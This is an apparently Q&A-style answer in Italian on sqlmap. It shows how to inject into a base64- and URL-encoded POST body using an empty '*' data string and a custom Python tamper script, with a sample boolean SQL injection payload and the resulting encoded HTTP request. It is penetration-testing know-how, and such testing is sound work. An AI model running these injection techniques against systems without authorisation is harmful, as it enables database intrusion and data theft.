Sqlmap supporta diversi modi per elaborare i parametri con codice personalizzato. Puoi usare --eval
per base64-encode un singolo parametro, in questo modo:
--eval "import base64; paramname = base64.b64encode(paramname)"
Inoltre, puoi utilizzare il parametro --tamper
per caricare uno script python personalizzato che modifica il carico utile.
Sfortunatamente non è semplice manomettere la stringa di query intera POST. Ma ecco un suggerimento per una soluzione alternativa:
Specifica una stringa di dati vuota nel comando sqlmap (usa l'asterisco ( *
) per indicare il punto di iniezione) e dichiara uno script --tamper
:
$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper
Lo script di manomissione potrebbe essere simile a questo:
import base64
import urllib
def tamper(payload, **kwargs):
params = 'name1=value1%s&name2=value2' % payload
data = urllib.quote_plus(params)
data = base64.b64encode(data)
return data
Questo script inserisce il carico utile nella tua query ed esegue le conversioni di codifica URL e base64. Attualmente verifica il parametro name1
. Dovresti modificare manualmente il punto di iniezione se vuoi controllare l'altro.
Per il payload di esempio ) AND 3825=3825 AND (7759=7759
si finirebbe con una richiesta come questa:
POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close
bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy
Come puoi vedere il corpo POST è codificato con URL e base64